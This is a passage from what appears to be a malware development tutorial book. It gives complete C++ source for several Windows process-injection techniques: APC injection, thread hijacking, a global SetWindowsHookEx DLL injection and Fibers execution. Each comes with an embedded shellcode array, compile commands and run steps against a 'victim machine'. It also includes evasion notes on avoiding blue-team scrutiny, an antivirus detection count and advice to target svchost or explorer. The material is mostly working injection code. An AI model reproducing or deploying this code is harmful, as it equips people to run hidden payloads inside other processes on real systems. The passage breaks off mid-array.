SIZE_T my_payload_len = sizeof(my_payload);
HMODULE hNtdll = GetModuleHandleA("ntdll");
myNtTestAlert testAlert = (myNtTestAlert)(
GetProcAddress(hNtdll, "NtTestAlert"));

LPVOID my_payload_mem = VirtualAlloc(NULL, my_payload_len,


MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(),
my_payload_mem, my_payload,
my_payload_len, NULL);

PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)


my_payload_mem;
QueueUserAPC(
(PAPCFUNC)apcRoutine,
GetCurrentThread(), NULL
);
testAlert();

return 0;
}

For simplicity, we use 64-bit calc.exe as the payload.


The flow of this technique is simple. Firstly, we allocate memory in the local
process for our payload:

105
Then write our payload to newly allocated memory:

Then queue an APC to the current thread:

Finally, call NtTestAlert:

Let’s go to compile our code:


x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

And run on victim machine (Windows 7 x64 in my case):

106
And If open our hack.exe malware in Ghidra:

the NtTestAlert function call is not suspicious. So the advantage of this


technique is that it does not rely on CreateThread or CreateRemoteThread
API calls which are more popular and suspicious and which is more closely
investigated by the blue teamers.
APC MSDN
QueueUserAPC
VirtualAlloc
WriteProcessMemory
GetModuleHandleA
GetProcAddress
APC technique MITRE ATT&CK
NTAPI Undocumented Functions - NtTestAlert
Ghidra - NSA

107
Source Code in Github
I hope this section spreads awareness to the blue teamers of this interesting
technique, and adds a weapon to the red teamers arsenal.

15. APC injection via alertable threads. Simple C++


malware.

Today I will discuss about simplest APC injection technique. I’m going to talk
about APC injection in remote threads. In the simplest way, inject APC into
all of the target process threads, as there is no function to find if a thread is
alertable or not and we can assume one of the threads is alertable and run our
APC job.

example
The flow is this technique is simple:
• Find the target process id
• Allocate space in the target process for our payload
• Write payload in the allocated space.
• Find target process threads
• Queue an APC to all of them to execute our payload
For the first step, we need to find the process id of our target process. For this I
used a function from my past section about find process:

108
The full source code of this function:
int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;

109
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

Then, allocate space in the target process for our payload:

As you can see, we should allocate this location with PAGE_EXECUTE_READWRITE


permissions which is meaning execute, read and write.
In the next step, we write our payload to allocated memory:

Then find target process threads. For this I wrote another function getTids:

110
which finds all threads by process PID. We enum all threads and if the thread
belongs to our target process we push it to our tids vector.
Then queue an APC to all threads to execute our payload:

As you can see we queue an APC to the thread using the QueueUserAPC function.
the first parameter should be a pointer to the function that we want to execute
which is a pointer to my payload and the second parameter is a handle to the
remote thread.
Let’s take a look at full C++ source code of our malware:
/*
hack.cpp
APC injection via Queue an APC into all the threads
author: @cocomelonc
https://cocomelonc.github.io/tutorial/2021/11/22/malware-injection-5.html

111
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <vector>

unsigned char my_payload[] = {


0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

unsigned int my_payload_len = sizeof(my_payload);

// get process PID


int findMyProc(const char *procname) {

HANDLE hSnapshot;

112
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot


hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

// find process threads by PID


DWORD getTids(DWORD pid, std::vector<DWORD>& tids) {
HANDLE hSnapshot;
THREADENTRY32 te;
te.dwSize = sizeof(THREADENTRY32);

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);


if (Thread32First(hSnapshot, &te)) {
do {
if (pid == te.th32OwnerProcessID) {
tids.push_back(te.th32ThreadID);
}
} while (Thread32Next(hSnapshot, &te));
}

113
CloseHandle(hSnapshot);
return !tids.empty();
}

int main(int argc, char* argv[]) {


DWORD pid = 0; // process ID
HANDLE ph; // process handle
HANDLE ht; // thread handle
LPVOID rb; // remote buffer
std::vector<DWORD> tids; // thread IDs

pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);

if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");
return -2;
}

// allocate memory buffer for remote process


rb = VirtualAllocEx(ph, NULL,
my_payload_len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

// write payload to memory buffer


WriteProcessMemory(ph, rb,
my_payload,
my_payload_len, NULL);

if (getTids(pid, tids)) {
for (DWORD tid : tids) {
HANDLE ht = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
if (ht) {
QueueUserAPC((PAPCFUNC)rb, ht, NULL);
printf("payload injected via QueueUserAPC\n");
CloseHandle(ht);
}
}

114
}
CloseHandle(ph);
}
return 0;
}

As usually, for simplicity, we use 64-bit calc.exe as the payload and print
message for demonstration.
Let’s go to compile our code:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then firstly run mspaint.exe on victim machine (Windows 7 x64 in my case):

115
Then run our malware:
.\hack.exe mspaint.exe

As you can see everything is work perfectly.


Also perfectly worked on Windows 10 x64:

116
But I noticed than on my Windows 7 x64 machine target process is crashed:

117
I have not yet figured out why this is happened.
The problem with this technique is that it’s unpredictable somehow, and in
many cases, it can run our payload multiple times. And as for the target process,
I think svchost or explorer.exe is good choice as their almost always has
alertable threads.
APC MSDN
QueueUserAPC
CreateToolhelp32Snapshot
Process32First
Process32Next
strcmp
Taking a Snapshot and Viewing Processes
Thread32First
Thread32Next
CloseHandle
VirtualAllocEx
WriteProcessMemory
Source code in Github

118
16. code injection via thread hijacking. Simple C++ mal-
ware.

what does it mean?


Today I will discuss about code injection to remote process via thread hijack-
ing. This is about code injection via hijacking threads instead of creating a
remote thread. There are methods of code injection where you can create a
thread from another process using CreateRemoteThread at an executable code
location, I wrote about this here. Or for example, classic DLL Injection via
CreateRemoteThread and executing LoadLibrary, passing an argument in the
CreateRemoteThread. My post about this technique.

example
Let’s go to look an example which demonstrates this technique:
/*
hack.cpp
code injection via thread hijacking
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/23/malware-injection-6.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>

unsigned char my_payload[] = {


0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,

119
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

unsigned int my_payload_len = sizeof(my_payload);

// get process PID


int findMyProc(const char *procname) {

HANDLE hSnapshot;
PROCESSENTRY32 pe;
int pid = 0;
BOOL hResult;

// snapshot of all processes in the system


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hSnapshot) return 0;

// initializing size: needed for using Process32First


pe.dwSize = sizeof(PROCESSENTRY32);

// info about first process encountered in a system snapshot

120
hResult = Process32First(hSnapshot, &pe);

// retrieve information about the processes


// and exit if unsuccessful
while (hResult) {
// if we find the process: return process ID
if (strcmp(procname, pe.szExeFile) == 0) {
pid = pe.th32ProcessID;
break;
}
hResult = Process32Next(hSnapshot, &pe);
}

// closes an open handle (CreateToolhelp32Snapshot)


CloseHandle(hSnapshot);
return pid;
}

int main(int argc, char* argv[]) {


DWORD pid = 0; // process ID
HANDLE ph; // process handle
HANDLE ht; // thread handle
LPVOID rb; // remote buffer

HANDLE hSnapshot;
THREADENTRY32 te;
CONTEXT ct;

pid = findMyProc(argv[1]);
if (pid == 0) {
printf("PID not found :( exiting...\n");
return -1;
} else {
printf("PID = %d\n", pid);

ct.ContextFlags = CONTEXT_FULL;
te.dwSize = sizeof(THREADENTRY32);

ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);

if (ph == NULL) {
printf("OpenProcess failed! exiting...\n");
return -2;
}

121
// allocate memory buffer for remote process
rb = VirtualAllocEx(ph, NULL, my_payload_len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

// write payload to memory buffer


WriteProcessMemory(ph, rb, my_payload,
my_payload_len, NULL);

// find thread ID for hijacking


hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);
if (Thread32First(hSnapshot, &te)) {
do {
if (pid == te.th32OwnerProcessID) {
ht = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
break;
}
} while (Thread32Next(hSnapshot, &te));
}

// suspend target thread


SuspendThread(ht);
GetThreadContext(ht, &ct);
// update register (RIP)
ct.Rip = (DWORD_PTR)rb;
SetThreadContext(ht, &ct);
ResumeThread(ht);

CloseHandle(ph);
}
return 0;
}

As usually, for simplicity, we use 64-bit calc.exe as the payload.


As you can see, for finding process by name I used a function findMyProc from
my past post. Then, the main function is like my code from this post about
“classic” code injection to remote process. The only difference in logic: we hijack
remote thread instead creating new one.
The flow is this technique is: firstly, we find the target process:

122
Then, as usually, allocate space in the target process for our payload:

and write our payload in the allocated space:

The next step we find a thread ID of the thread we want to hijack in the target
process. In our case, we will fetch the thread ID of the first thread in our target
process. We will leverage CreateToolhelp32Snapshot to create a snapshot of

123
target process’s threads and enum them with Thread32Next. This will give us
the thread ID we will be hijacking:

Then, suspend the target thread which we want to hijack:

After that, getting the context of the target thread:

Update the target thread’s register RIP (instruction pointer on 64-bit) to point

124
to our payload:

But there are the caveat, which is called “SetThreadContext anomaly”. For
some processes, the volatile registers (RAX, RCX, RDX, R8-R11) are set by
SetThreadContext, for other processes (e.g. Explorer, Edge) they are ignored.
Best not rely on SetThreadContext to set those registers.
Commit the hijacked thread:

And in the next step resume hijacked thread:

125
As you can see, it’s not so difficult. Let’s go to compile this malware code:
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive >/dev/null 2>&1

Then on victim machine let’s first launch a notepad.exe instance and then
execute our program:
.\hack.exe notepad.exe

126
and our payload code is still working after close victim process notepad.exe:

As you can see our logic perfectly worked!


Thread execution hijacking
CreateToolhelp32Snapshot
Process32First
Process32Next
strcmp
Taking a Snapchot and Viewing Processes
Thread32First

127
Thread32Next
CloseHandle
VirtualAllocEx
WriteProcessMemory
SuspendThread
GetThreadContext
SetThreadContext
ResumeThread
“Classic” code injection
“Classic” DLL injection
Source code in Github

17. classic DLL injection via SetWindowsHookEx. Simple


C++ malware.

In this tutorial, I’ll take a look at the DLL injection by using the
SetWindowsHookEx method.

SetWindowsHookEx
Let’s go to look an example which demonstrates this technique. The
SetWindowsHookEx installs a hook routine into the hook chain, which is then
invoked whenever certain events are triggered. Let’s take a look at the function
syntax:
HHOOK SetWindowsHookExA(
[in] int idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD dwThreadId
);

The most important param here is idHook. The type of hook to be installed,
which can hold one of the following values:

128
WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
WH_KEYBOARD
WH_KEYBOARD_LL
WH_MOUSE
WH_MOUSE_LL
WH_MSGFILTER
WH_SHELL
WH_SYSMSGFILTER
In our case, I’ll be hooking the WH_KEYBOARD type of event, which will allow us
to monitor keystroke messages.

malicious DLL
Let’s go to prepare our malicious DLL. For simplicity, we create DLL which just
pop-up a message box:
/*
evil.cpp
simple DLL for DLL inject to process
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/25/malware-injection-7.html
*/

#include <windows.h>
#pragma comment (lib, "user32.lib")

BOOL APIENTRY DllMain(HMODULE hModule,


DWORD nReason, LPVOID lpReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}

129
return TRUE;
}

extern "C" __declspec(dllexport) int Meow() {


MessageBox(
NULL,
"Meow from evil.dll!",
"=ˆ..ˆ=",
MB_OK
);
return 0;
}

As you can see we have a pretty simple DLL. The DllMain() function is called
when the DLL is loaded into the process’s address space. There’s also a function
named Meow(), which is an exported function and which is just pop-up message
“Meow from evil.dll!”.

example. simple malware.


The next thing that we need to do is create our malware. Let’s go to look the
source code:
/*
hack.cpp
DLL inject via SetWindowsHookEx
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/25/malware-injection-7.html
*/
#include <windows.h>
#include <cstdio>

typedef int (__cdecl *MeowProc)();

int main(void) {
HINSTANCE meowDll;
MeowProc meowFunc;
// load evil DLL
meowDll = LoadLibrary(TEXT("evil.dll"));

// get the address of exported function from evil DLL


meowFunc = (MeowProc) GetProcAddress(meowDll, "Meow");

// install the hook - using the WH_KEYBOARD action


HHOOK hook = SetWindowsHookEx(WH_KEYBOARD,

130
(HOOKPROC)meowFunc, meowDll, 0);
Sleep(5*1000);
UnhookWindowsHookEx(hook);

return 0;
}

It’s also pretty simple. First of all we call LoadLibrary to load our malicious
DLL:

Then, we are calling the GetProcAddress to get the address of the exported
function Meow:

After that, the our malware calls the most important function, the
SetWindowsHookEx. The parameters passed to that function determine
what the function will actually do:

131
As you can see, whenever the keyboard event will occur, our function will be
called. And we are passing the address of the our exported function - meowFunc
parameter. Also we are passing the handle to our DLL - meowDll parameter.
The last parameter 0 specifies that we want all programs to be hooked, not just
a specific one, so it’s a global hook.
Then we call Sleep:

for demonstrate that our hook works.


Then we call the UnhookWindowsHookEx() function to unhook the previously
hooked WH_KEYBOARD action:

132
So finally after we understood entire code of the malware, we can test it.
Let’s go to compile malicious DLL firstly:
x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive

compile malware code:


x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Then, see everything in action! Start our hack.exe on the victim machine

133
(Windows 7 x64):
.\hack.exe

We can see that everything was completed successfully and at this point whenever
we start a program, pop-up our message only when keyboard key is pressed.

Conclusion
In this section, I’ve demonstrate how we can use the SetWindowsHookEx function
to inject the DLL into the process’s address space and execute arbitrary code
inside the process’s address space.
There is a caveat. This technique is not working in my Windows 10 x64 machine.
I think the reason is this: CIG block this technique. Windows 10 x64 have two
important things:
• CFG (Control Flow Guard) – prevent indirect calls to non-approved
addresses
• CIG (Code Integrity Guard) - only allow modules signed by Mi-
crosoft/Microsoft Store/WHQL to be loaded into the process memory.
In this presentation from BlackHat USA 2019, the authors explain that CIG
block this technique.
Let’s go to upload our hack.exe to virustotal:

134
https://www.virustotal.com/gui/file/273e191999eb6a4bc010eeaf9c4e196d9175
09250f87a121fa1cfeded41b7921
So, 5 of 67 AV engines detect our file as malicious.
BlackHat USA 2019 process injection techniques Gotta Catch Them All
SetWindowsHookEx
Using Hooks MSDN
Exporting from a DLL
Source code in Github

18. code injection via windows Fibers. Simple C++ mal-


ware.

In this post, I’ll take a look at the code injection to local process through
Windows Fibers API.
A fiber is a unit of execution that must be manually scheduled by the application.

135
Fibers run in the context of the threads that schedule them.

example
Let’s go to consider an example which demonstrate this technique.
Firstly, before scheduling the first fiber, call the ConvertThreadToFiber function
to create an area in which to save fiber state information:

Then, allocate some memory for our payload and payload is written to the
allocated memory:

As you can see, VirtualAlloc called with PAGE_EXECUTE_READWRITE parameter,


which means executable, readable and writeable.
The next step is create a fiber that will execute the our payload:

136
And finally, schedule the newly created fiber that points to our payload:

So, our full source code is (hack.cpp):


/*
hack.cpp
code inject via fibers
author: @cocomelonc
https://cocomelonc.github.io/tutorial/
2021/11/28/malware-injection-8.html
*/
#include <windows.h>

unsigned char my_payload[] = {

137
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

unsigned int my_payload_len = sizeof(my_payload);

int main() {

PVOID f; // converted
PVOID payload_mem; // memory buffer for payload
PVOID payloadF; // fiber

// convert main thread to fiber


f = ConvertThreadToFiber(NULL);

// allocate memory buffer


payload_mem = VirtualAlloc(0, my_payload_len,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(payload_mem, my_payload, my_payload_len);

138
// create a fiber that will execute payload
payloadF = CreateFiber(NULL,
(LPFIBER_START_ROUTINE)payload_mem,
NULL);

SwitchToFiber(payloadF);
return 0;
}

As you can see for simplicity, we use 64-bit calc.exe as the payload. Without
delving into the generation of the payload, we will simply insert payload into
our code:
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7,
0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c,
0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52,
0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88,
0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49,
0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34,
0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0,
0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1,
0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49,
0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41,
0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff,
0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00,
0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0,
0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80,
0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
